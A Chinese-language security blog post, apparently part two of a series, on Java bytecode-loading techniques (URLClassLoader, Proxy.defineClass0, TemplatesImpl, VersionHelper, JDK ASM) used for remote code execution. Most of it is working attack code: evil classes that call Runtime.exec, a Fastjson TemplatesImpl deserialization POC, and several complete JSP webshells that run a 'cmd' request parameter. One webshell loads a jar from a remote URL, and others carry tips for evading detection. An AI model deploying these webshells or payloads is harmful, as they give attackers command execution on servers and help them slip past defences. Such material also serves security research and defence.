浅谈加载字节码相关的Java安全问题(二)

简介: 浅谈加载字节码相关的Java安全问题

URLClassLoader

另一个ClassLoader,区别在于可以加载任意路径下的类

还是选择0x01中的ByteCodeEvil类

URL url = new URL("file:/your_path/classes/");
URLClassLoader loader = new URLClassLoader(new URL[]{url});
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
constructor.newInstance("calc.exe");


也可以利用URLClassLoader做RCE的回显

public ByteCodeEvil(String cmd) throws Exception {
   StringBuilder stringBuilder = new StringBuilder();
   BufferedReader bufferedReader = new BufferedReader(
       new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
   String line;
   while ((line = bufferedReader.readLine()) != null) {
       stringBuilder.append(line).append("\n");
  }
   this.res = stringBuilder.toString();
   // 抛出异常
   throw new Exception(this.res);
}


上文代码编译的字节码被URLClassLoader加载后,可以在报错信息中看到RCE的回显结果

同样可以用于JSP Webshell

<%
   response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://path/evil.jar")}).loadClass("EvilClass").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>


defineClass0

主要参考了su18师傅给出的JSP Webshell,使用到的Proxy类是Java动态代理的底层实现类

基于Proxy的native方法defineClass0做一些事情,也许可以绕过一些防御

private static native Class<?> defineClass0(ClassLoader loader, String name, byte[] b, int off, int len);


例如下面的代码调用native方法defineClass0加载字节码

public static Class<?> defineByProxy(String className, byte[] classBytes) throws Exception {
   // 获取系统的类加载器
   ClassLoader classLoader = ClassLoader.getSystemClassLoader();
   // 反射java.lang.reflect.Proxy类获取其中的defineClass0方法
   Method method = Proxy.class.getDeclaredMethod("defineClass0",ClassLoader.class, String.class, byte[].class, int.class, int.class);
   // 修改方法的访问权限
   method.setAccessible(true);
   // 反射调用java.lang.reflect.Proxy.defineClass0()方法
   // 动态向JVM注册对象
   // 返回一个 Class 对象
   return (Class<?>) method.invoke(null, classLoader, className, classBytes, 0, classBytes.length);
}


JSP Webshell

<%
    byte[] bytes = Base64.getDecoder().decode("BASE64_BYTECODE");
    Class<?> testClass = defineByProxy("ByteCodeEvil", bytes);
    Object result = testClass.getConstructor(String.class).newInstance(request.getParameter("cmd"));
    out.println(result.toString());
%>


TemplatesImpl

该类是Java安全知名的类,例如著名的CC链、Fastjson、7U21

Fastjson利用

给出恶意类

public class TEMPOC extends AbstractTranslet {
   public TEMPOC() throws IOException {
       Runtime.getRuntime().exec("calc.exe");
  }
   @Override
   public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
  }
   public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
  }
   public static void main(String[] args) throws Exception {
       TEMPOC t = new TEMPOC();
  }
}


Fastjson的POC

{
   "@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
   "_bytecodes":["BASE64_BYTECODE"],
   "_name":"a.b",
   "_tfactory":{},
   "_outputProperties":{ },
   "_version":"1.0",
   "allowedProtocols":"all"
}


注意其中的Payload来自于恶意类,该类应该继承自com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet

该链需要开启Feature.SupportNonPublicField参数再反射设置属性,查看官方说明,如果某属性不存在set方法,但还想设置值时,需要开启该参数,这里的情况正好符合,而实际项目中很少出现这种情况,导致该链较鸡肋,没有实际的意义(其实TemplateImpl类中有set方法,比如setTransletBytecodes,但是名称和Bytecodes不一致)

在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField设置属性时会有判断

final int mask = Feature.SupportNonPublicField.mask;
if (fieldDeserializer == null
   && (lexer.isEnabled(mask)
       || (this.beanInfo.parserFeatures & mask) != 0)) {
  ......


反序列化时,fastjson中会把”_”开头的属性替换为空。并在outputProperties设置值时调用getOutputProperties

public synchronized Properties getOutputProperties() {
   try {
       return newTransformer().getOutputProperties();
  }
   catch (TransformerConfigurationException e) {
       return null;
  }
}

调用到com.sun.org.apache.xalan.internal.xsltc.trax.newTransformer方法

transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);

跟入getTransletInstance,通过defineTransletClasses得到Class然后newInstance实例化

// name不能为空所以在payload中设置a.b
if (_name == null) return null;
// 关键
if (_class == null) defineTransletClasses();
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();


再跟入defineTransletClasses,对父类进行了验证,这样解释了为什么Payload恶意类要继承自该类。如果验证没有问题,将在上方的newInstance方法中实例化该类,造成RCE

private static String ABSTRACT_TRANSLET
       = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
...
TransletClassLoader loader = (TransletClassLoader)
   AccessController.doPrivileged(new PrivilegedAction() {
       public Object run() {
           return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
      }
  });
...
_class[i] = loader.defineClass(_bytecodes[i]);
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
   _transletIndex = i;
}

注意到其中的ClassLoader是TransletClassLoader,简单的继承了ClassLoader

static final class TransletClassLoader extends ClassLoader


AccessController.doPrivileged方法主要做权限操作,目的是给ClassLoader设置指定的权限

跟入defineClass发现没有传入name,直接根据字节码获得类

Class defineClass(final byte[] b) {
   return defineClass(null, b, 0, b.length);
}


为什么_bytescode要对字节码进行base64编码?反序列化的过程中会调用很多类,在经过该类com.alibaba.fastjson.serializer.ObjectArrayCodec.deserialze的时候,会对字段进行一次base64的解码

......        
if (token == JSONToken.LITERAL_STRING || token == JSONToken.HEX) {
   byte[] bytes = lexer.bytesValue();
  ......


跟入lexer.bytesValue()方法,看到decodeBase64

public byte[] bytesValue() {
  ......
   // base64解码
   return IOUtils.decodeBase64(buf, np + 1, sp);
}


基于TemplatesImpl的JSP Webshell

这里不给出代码了,大概分析下思路,参考三梦师傅的代码,有两种实现:

第一种是在JSP中构造一个TemplatesImpl类,按照Fastjson的POC给每个属性设置值,最后调用getOutputProperties方法。获取输入和回显可以基于文件,新建两个文件,写入请求参数在恶意类中读取执行并返回到输出文件

第二种是直接基于序列化数据,调用readObject反序列化触发


VersionHelper

给出基于VersionHelper的一个JSP Webshell,发现方法调用和ClassLoader类似

<%
   String cmd = request.getParameter("cmd");
   String tmp = System.getProperty("java.io.tmpdir");
   String jarPath = tmp + File.separator + "Evil.class";
   Files.write(Paths.get(jarPath), Base64.getDecoder().decode("BASE64_BYTECODE"));
   VersionHelper helper = VersionHelper.getVersionHelper();
   Class<?> clazz = helper.loadClass("Evil", "file:" + tmp + File.separator);
   Constructor<?> constructor = clazz.getConstructor(String.class);
   Object obj = constructor.newInstance(cmd);
   response.getWriter().print(obj);
%>

在static块中实例化

public static VersionHelper getVersionHelper() {
   return helper;
}
static {
   helper = new VersionHelper12();
}


跟入VersionHelper12类的loadClass方法,可以看到底层是一个URLClassLoader,这也解释了为什么要保存成一个文件

public Class<?> loadClass(String className, String codebase)
   throws ClassNotFoundException, MalformedURLException {
   ClassLoader parent = getContextClassLoader();
   ClassLoader cl =
       URLClassLoader.newInstance(getUrlArray(codebase), parent);
   return loadClass(className, cl);
}


JDK-ASM

ASM框架可以直接操作字节码,而JDK其实是自带ASM的,并不需要引入第三方依赖

最终目标是加载字节码触发漏洞,并不是一定要使用JAVAC来编译生成,也可以直接写入


例如0x02的BCEL的例子,需要编译得到一长串String bcelCode = "$$BCEL$$......";

而笔者尝试直接用ASM构造出ByteCodeEvil字节码并加载,由于该库是JDK自带,所以理论上有一定的Bypass可能

给出ASM构造出的BCEL JSP Webshell

<%@ page language="java" pageEncoding="UTF-8" %>
<%@ page import="static jdk.internal.org.objectweb.asm.Opcodes.*" %>
<%
   // 注意导入开头为jdk.internal
   // 注意flag为COMPUTE_FRAMES否则报错
   jdk.internal.org.objectweb.asm.ClassWriter classWriter = new jdk.internal.org.objectweb.asm.ClassWriter(
           jdk.internal.org.objectweb.asm.ClassWriter.COMPUTE_FRAMES);
   // 类属性visitor
   jdk.internal.org.objectweb.asm.FieldVisitor fieldVisitor;
   // 类方法visitor
   jdk.internal.org.objectweb.asm.MethodVisitor methodVisitor;
   // 类名可以自行修改
   classWriter.visit(V1_8, ACC_PUBLIC | ACC_SUPER, "sample/ByteCodeEvil", null, "java/lang/Object", null);
   fieldVisitor = classWriter.visitField(0, "res", "Ljava/lang/String;", null, null);
   fieldVisitor.visitEnd();
   methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "<init>", "(Ljava/lang/String;)V", null, new String[]{"java/io/IOException"});
   methodVisitor.visitCode();
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
   methodVisitor.visitTypeInsn(NEW, "java/lang/StringBuilder");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "<init>", "()V", false);
   methodVisitor.visitVarInsn(ASTORE, 2);
   methodVisitor.visitTypeInsn(NEW, "java/io/BufferedReader");
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitTypeInsn(NEW, "java/io/InputStreamReader");
   methodVisitor.visitInsn(DUP);
   // 这里可以针对字符串做拆分编码等操作来Bypass
   methodVisitor.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false);
   methodVisitor.visitVarInsn(ALOAD, 1);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Process", "getInputStream", "()Ljava/io/InputStream;", false);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/InputStreamReader", "<init>", "(Ljava/io/InputStream;)V", false);
   methodVisitor.visitMethodInsn(INVOKESPECIAL, "java/io/BufferedReader", "<init>", "(Ljava/io/Reader;)V", false);
   methodVisitor.visitVarInsn(ASTORE, 3);
   jdk.internal.org.objectweb.asm.Label label0 = new jdk.internal.org.objectweb.asm.Label();
   methodVisitor.visitLabel(label0);
   methodVisitor.visitVarInsn(ALOAD, 3);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/io/BufferedReader", "readLine", "()Ljava/lang/String;", false);
   methodVisitor.visitInsn(DUP);
   methodVisitor.visitVarInsn(ASTORE, 4);
   jdk.internal.org.objectweb.asm.Label label1 = new jdk.internal.org.objectweb.asm.Label();
   methodVisitor.visitJumpInsn(IFNULL, label1);
   methodVisitor.visitVarInsn(ALOAD, 2);
   methodVisitor.visitVarInsn(ALOAD, 4);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
   methodVisitor.visitLdcInsn("\n");
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false);
   methodVisitor.visitInsn(POP);
   methodVisitor.visitJumpInsn(GOTO, label0);
   methodVisitor.visitLabel(label1);
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitVarInsn(ALOAD, 2);
   methodVisitor.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false);
   methodVisitor.visitFieldInsn(PUTFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
   methodVisitor.visitInsn(RETURN);
   methodVisitor.visitMaxs(6, 5);
   methodVisitor.visitEnd();
   methodVisitor = classWriter.visitMethod(ACC_PUBLIC, "toString", "()Ljava/lang/String;", null, null);
   methodVisitor.visitCode();
   methodVisitor.visitVarInsn(ALOAD, 0);
   methodVisitor.visitFieldInsn(GETFIELD, "sample/ByteCodeEvil", "res", "Ljava/lang/String;");
   methodVisitor.visitInsn(ARETURN);
   methodVisitor.visitMaxs(1, 1);
   methodVisitor.visitEnd();
   classWriter.visitEnd();
   byte[] code = classWriter.toByteArray();
   String cmd = request.getParameter("cmd");
   // 对bytes类型字节码进行BCEL转换
   String byteCode = com.sun.org.apache.bcel.internal.classfile.Utility.encode(code, true);
   byteCode = "$$BCEL$$" + byteCode;
   // 使用BCELClassLoader加载构造的字节码
   Class<?> c = Class.forName("com.sun.org.apache.bcel.internal.util.ClassLoader");
   ClassLoader loader = (ClassLoader) c.newInstance();
   Class<?> clazz = loader.loadClass(byteCode);
   java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(String.class);
   Object obj = constructor.newInstance(cmd);
   response.getWriter().print("<pre>");
   response.getWriter().print(obj.toString());
   response.getWriter().print("</pre>");
%>

这种动态生成字节码的方式有很多用途,比如下一篇文章将会使用该功能实现Tomact的Filter型内存马的免杀,构造指定Filter名的字节码文件写入对应的classpath,然后Class.forName加载字节码,迷惑防御方

https://github.com/EmYiQing/MemShell/

具体的原理分析将在下一篇文章中


参考

https://xz.aliyun.com/t/7798

https://github.com/threedr3am/JSP-Webshells

相关文章
|
2月前
|
Java
轻松上手Java字节码编辑:IDEA插件VisualClassBytes全方位解析
本插件VisualClassBytes可修改class字节码,包括class信息、字段信息、内部类,常量池和方法等。
180 6
|
2月前
|
SQL 安全 Java
Java 异常处理:筑牢程序稳定性的 “安全网”
本文深入探讨Java异常处理,涵盖异常的基础分类、处理机制及最佳实践。从`Error`与`Exception`的区分,到`try-catch-finally`和`throws`的运用,再到自定义异常的设计,全面解析如何有效管理程序中的异常情况,提升代码的健壮性和可维护性。通过实例代码,帮助开发者掌握异常处理技巧,确保程序稳定运行。
58 1
|
2月前
|
Java Maven Spring
Java Web 应用中,资源文件的位置和加载方式
在Java Web应用中,资源文件如配置文件、静态文件等通常放置在特定目录下,如WEB-INF或classes。通过类加载器或Servlet上下文路径可实现资源的加载与访问。正确管理资源位置与加载方式对应用的稳定性和可维护性至关重要。
69 6
|
2月前
|
SQL 安全 Java
安全问题已经成为软件开发中不可忽视的重要议题。对于使用Java语言开发的应用程序来说,安全性更是至关重要
在当今网络环境下,Java应用的安全性至关重要。本文深入探讨了Java安全编程的最佳实践,包括代码审查、输入验证、输出编码、访问控制和加密技术等,帮助开发者构建安全可靠的应用。通过掌握相关技术和工具,开发者可以有效防范安全威胁,确保应用的安全性。
60 4
|
2月前
|
Java 数据格式 索引
使用 Java 字节码工具检查类文件完整性的原理是什么
Java字节码工具通过解析和分析类文件的字节码,检查其结构和内容是否符合Java虚拟机规范,确保类文件的完整性和合法性,防止恶意代码或损坏的类文件影响程序运行。
64 5
|
2月前
|
Java API Maven
如何使用 Java 字节码工具检查类文件的完整性
本文介绍如何利用Java字节码工具来检测类文件的完整性和有效性,确保类文件未被篡改或损坏,适用于开发和维护阶段的代码质量控制。
138 5
|
3月前
|
Java
如何从Java字节码角度分析问题|8月更文挑战
如何从Java字节码角度分析问题|8月更文挑战
|
3月前
|
安全 Java 编译器
Java 泛型深入解析:类型安全与灵活性的平衡
Java 泛型通过参数化类型实现了代码重用和类型安全,提升了代码的可读性和灵活性。本文深入探讨了泛型的基本原理、常见用法及局限性,包括泛型类、方法和接口的使用,以及上界和下界通配符等高级特性。通过理解和运用这些技巧,开发者可以编写更健壮和通用的代码。
|
4月前
|
安全 Java API
java安全特性
java安全特性
36 8
|
4月前
|
安全 Oracle Java
edge浏览器加载java插件
edge浏览器加载java插件
306 1